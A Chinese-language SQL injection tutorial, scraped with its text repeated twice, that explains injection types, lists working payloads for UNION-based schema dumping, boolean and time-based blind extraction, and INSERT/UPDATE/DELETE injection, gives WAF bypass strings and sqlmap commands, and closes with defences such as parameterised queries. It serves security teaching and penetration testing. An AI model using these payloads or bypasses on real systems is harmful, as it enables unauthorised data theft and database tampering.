SQL注入补充
字数 3508 2025-08-15 21:31:30

SQL注入全面解析与防御指南

1. SQL注入基础概念

1.1 定义与本质

  • SQL注入:通过将SQL命令插入到Web表单提交、输入域名或页面请求的查询字符串中,欺骗服务器执行恶意SQL命令的攻击方式
  • 本质:违背了"数据与代码分离"的原则
  • 关键条件
    1. 用户能控制输入的内容
    2. Web应用把用户输入的内容带入到数据库执行

1.2 注入漏洞范围

  • 不仅限于id=1这类参数
  • 不仅限于SELECT语句,还包括UPDATE、DELETE、INSERT等语句

2. SQL注入常见流程

  1. 判断是否有注入
  2. 获取数据库基本信息(user(), database(), version(), @@basedir等)
  3. 获取数据库名
  4. 获取表名
  5. 获取列名
  6. 获取字段数据
  7. 破解数据
  8. 寻找后台
  9. 数据导出
  10. 渗透后续操作

注意:仅获取版本号属于基本测试,进一步操作可能涉及法律风险

3. SQL注入常用函数

函数类别 常用函数
聚合函数 group_concat(), count()
字符串处理 length(), ascii()/ord(), substr()/mid()
条件判断 if()
延时函数 sleep(), benchmark()
报错函数 floor(), extractvalue(), updatexml(), geometrycollection(), multipoint(), polygon(), multipolygon(), linestring(), multilinestring(), exp()

4. SQL注入分类与攻击技术

4.1 按反馈类型分类

4.1.1 报错注入

  • 利用特殊报错函数构造语句爆出数据
  • 常用函数:floor(), extractvalue(), updatexml()等

4.1.2 联合查询注入(UNION)

  • 依赖information_schema数据库
  • 攻击步骤:
    1. 使用order by猜测字段数
    2. 构造union select语句获取数据
    3. 常用payload示例:
      • 查看所有库名:id=-1' union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata %23
      • 查看指定库表名:id=-1' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=0x6d7367 %23
      • 查看表字段:id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_schema=0x6d7367 and table_name=0x75736572 %23

4.1.3 布尔盲注

  • 页面有变化但不显示具体错误信息
  • 攻击方法:
    • 测长度:id=1' and length(version())>10 %23
    • 测字符:id=1' and ascii(substr(version(),1,1))>100 %23
    • 使用二分法逐步猜测

4.1.4 延时注入

  • 根据服务器响应时间判断注入
  • 常用payload:
    • 测版本长度:id=1' and if(length(version())>10,sleep(5),0) %23
    • 测字符:id=1' and if(ascii(mid(version(),1,1))>100,sleep(5),0)%23
    • 注意事项:
      • 在SELECT语句中使用AND而非OR
      • IF语句第三个参数建议设为0

4.2 按SQL语句类型分类

4.2.1 SELECT注入

  • 最常见类型,如前所述

4.2.2 INSERT注入

  • 攻击示例:
    • 原始语句:insert into messages (title,message,time,content,author) values ('hello','123','2018','123','admin');
    • 注入构造:msg',1,1,1)#
    • 最终语句:insert into messages (title,message,time,content,author) values ('hello','msg',1,1,1)#')

4.2.3 UPDATE注入

  • 高危操作,建议使用延时注入
  • 注意事项:
    • 不要使用'#"#注释,会导致所有记录被更新
    • 构造语句需包含WHERE子句
  • 攻击示例:
    • 123' where id = 100 and sleep(2)#
    • 123' where id=7100 and if(length(version())>5,sleep(3),0)#

4.2.4 DELETE注入

  • 极高危操作,需谨慎测试
  • 注意事项:
    • 不要使用'#"#注释,会导致所有记录被删除
    • IF语句返回结果必须为0
  • 攻击示例:
    • qwer' and sleep(3)#
    • qwer' and if(length(version())>5,sleep(3),0) #

4.3 按业务场景分类

4.3.1 登录注入

  • 常用延时注入
  • 两种处理逻辑:
    1. 直接查询用户名和密码:select * from users where user='tom' and pass='hello';
    2. 先查询用户名再比对密码
  • 注入示例:tom' and sleep(3)

4.3.2 注册注入

  • 通过select+insert完成
  • 注入示例:admin' and sleep(5)#

4.3.3 留言板注入

  • 在留言内容处构造语句
  • 注入示例:msg',version())#

4.3.4 图片上传注入

  • 修改文件名包含SQL语句
  • 当文件名存入数据库时执行

4.4 按数据库类型分类

  • MySQL注入
  • Access注入
  • MSSQL注入
  • Oracle注入

4.5 特殊注入类型

4.5.1 宽字节注入

  • 前提:数据库编码为GBK/GB2312等
  • 原理:利用%5c(\)被编码特性
  • UTF8无此漏洞

4.5.2 二次解码注入

  • 成因:addslashes()在urlencode之前使用
  • 需代码审计发现

5. WAF绕过技术

5.1 常用绕过方法

  1. 大小写混合:uNIoN sELecT 1,2,3,4
  2. 替换关键字:selselsectect 1,2,3,4
  3. 使用编码:%55nion%53elect 1,2,3,4
  4. 使用注释:union /**/select 1,2,3,4
  5. 等价函数:@@datadir => datadir()
  6. 特殊符号:select+id+from users

6. SQLMap工具使用

6.1 基本命令

  • 扫描网站:python sqlmap.py -u http://example.com/index.php?id=1
  • 查看当前数据库:python sqlmap.py -u http://example.com/index.php?id=1 --current-db

6.2 详细级别(-v参数)

等级 显示内容
0 只显示Python错误及严重信息
1 显示基本信息和警告
2 显示debug信息
3 显示注入payload
4 显示HTTP请求
5 显示HTTP响应头
6 显示HTTP响应页面

7. SQL注入防御措施

7.1 魔术引号

  • magic_quotes_gpc:过滤GET、POST、COOKIE值
  • magic_quotes_runtime:过滤从数据库或文件获取的数据

7.2 过滤函数

  • addslashes()
  • mysql[real]_escape_string()
  • intval()等类型转换函数

7.3 最佳实践

  • 使用预编译语句(参数化查询)
  • 最小权限原则
  • 输入验证与过滤
  • 错误信息处理
  • 定期安全审计

通过全面理解SQL注入的原理、技术和防御方法,开发人员可以构建更安全的Web应用,安全人员也能更有效地进行渗透测试和漏洞评估。

SQL注入全面解析与防御指南 1. SQL注入基础概念 1.1 定义与本质 SQL注入 :通过将SQL命令插入到Web表单提交、输入域名或页面请求的查询字符串中,欺骗服务器执行恶意SQL命令的攻击方式 本质 :违背了"数据与代码分离"的原则 关键条件 : 用户能控制输入的内容 Web应用把用户输入的内容带入到数据库执行 1.2 注入漏洞范围 不仅限于 id=1 这类参数 不仅限于SELECT语句,还包括UPDATE、DELETE、INSERT等语句 2. SQL注入常见流程 判断是否有注入 获取数据库基本信息(user(), database(), version(), @@basedir等) 获取数据库名 获取表名 获取列名 获取字段数据 破解数据 寻找后台 数据导出 渗透后续操作 注意 :仅获取版本号属于基本测试,进一步操作可能涉及法律风险 3. SQL注入常用函数 | 函数类别 | 常用函数 | |---------|---------| | 聚合函数 | group_ concat(), count() | | 字符串处理 | length(), ascii()/ord(), substr()/mid() | | 条件判断 | if() | | 延时函数 | sleep(), benchmark() | | 报错函数 | floor(), extractvalue(), updatexml(), geometrycollection(), multipoint(), polygon(), multipolygon(), linestring(), multilinestring(), exp() | 4. SQL注入分类与攻击技术 4.1 按反馈类型分类 4.1.1 报错注入 利用特殊报错函数构造语句爆出数据 常用函数:floor(), extractvalue(), updatexml()等 4.1.2 联合查询注入(UNION) 依赖information_ schema数据库 攻击步骤: 使用 order by 猜测字段数 构造 union select 语句获取数据 常用payload示例: 查看所有库名: id=-1' union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata %23 查看指定库表名: id=-1' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=0x6d7367 %23 查看表字段: id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_schema=0x6d7367 and table_name=0x75736572 %23 4.1.3 布尔盲注 页面有变化但不显示具体错误信息 攻击方法: 测长度: id=1' and length(version())>10 %23 测字符: id=1' and ascii(substr(version(),1,1))>100 %23 使用二分法逐步猜测 4.1.4 延时注入 根据服务器响应时间判断注入 常用payload: 测版本长度: id=1' and if(length(version())>10,sleep(5),0) %23 测字符: id=1' and if(ascii(mid(version(),1,1))>100,sleep(5),0)%23 注意事项: 在SELECT语句中使用AND而非OR IF语句第三个参数建议设为0 4.2 按SQL语句类型分类 4.2.1 SELECT注入 最常见类型,如前所述 4.2.2 INSERT注入 攻击示例: 原始语句: insert into messages (title,message,time,content,author) values ('hello','123','2018','123','admin'); 注入构造: msg',1,1,1)# 最终语句: insert into messages (title,message,time,content,author) values ('hello','msg',1,1,1)#') 4.2.3 UPDATE注入 高危操作,建议使用延时注入 注意事项: 不要使用 '# 或 "# 注释,会导致所有记录被更新 构造语句需包含WHERE子句 攻击示例: 123' where id = 100 and sleep(2)# 123' where id=7100 and if(length(version())>5,sleep(3),0)# 4.2.4 DELETE注入 极高危操作,需谨慎测试 注意事项: 不要使用 '# 或 "# 注释,会导致所有记录被删除 IF语句返回结果必须为0 攻击示例: qwer' and sleep(3)# qwer' and if(length(version())>5,sleep(3),0) # 4.3 按业务场景分类 4.3.1 登录注入 常用延时注入 两种处理逻辑: 直接查询用户名和密码: select * from users where user='tom' and pass='hello'; 先查询用户名再比对密码 注入示例: tom' and sleep(3) 4.3.2 注册注入 通过select+insert完成 注入示例: admin' and sleep(5)# 4.3.3 留言板注入 在留言内容处构造语句 注入示例: msg',version())# 4.3.4 图片上传注入 修改文件名包含SQL语句 当文件名存入数据库时执行 4.4 按数据库类型分类 MySQL注入 Access注入 MSSQL注入 Oracle注入 4.5 特殊注入类型 4.5.1 宽字节注入 前提:数据库编码为GBK/GB2312等 原理:利用%5c(\)被编码特性 UTF8无此漏洞 4.5.2 二次解码注入 成因:addslashes()在urlencode之前使用 需代码审计发现 5. WAF绕过技术 5.1 常用绕过方法 大小写混合: uNIoN sELecT 1,2,3,4 替换关键字: selselsectect 1,2,3,4 使用编码: %55nion%53elect 1,2,3,4 使用注释: union /**/select 1,2,3,4 等价函数: @@datadir => datadir() 特殊符号: select+id+from users 6. SQLMap工具使用 6.1 基本命令 扫描网站: python sqlmap.py -u http://example.com/index.php?id=1 查看当前数据库: python sqlmap.py -u http://example.com/index.php?id=1 --current-db 6.2 详细级别(-v参数) | 等级 | 显示内容 | |-----|---------| | 0 | 只显示Python错误及严重信息 | | 1 | 显示基本信息和警告 | | 2 | 显示debug信息 | | 3 | 显示注入payload | | 4 | 显示HTTP请求 | | 5 | 显示HTTP响应头 | | 6 | 显示HTTP响应页面 | 7. SQL注入防御措施 7.1 魔术引号 magic_quotes_gpc :过滤GET、POST、COOKIE值 magic_quotes_runtime :过滤从数据库或文件获取的数据 7.2 过滤函数 addslashes() mysql[real]_escape_string() intval() 等类型转换函数 7.3 最佳实践 使用预编译语句(参数化查询) 最小权限原则 输入验证与过滤 错误信息处理 定期安全审计 通过全面理解SQL注入的原理、技术和防御方法,开发人员可以构建更安全的Web应用,安全人员也能更有效地进行渗透测试和漏洞评估。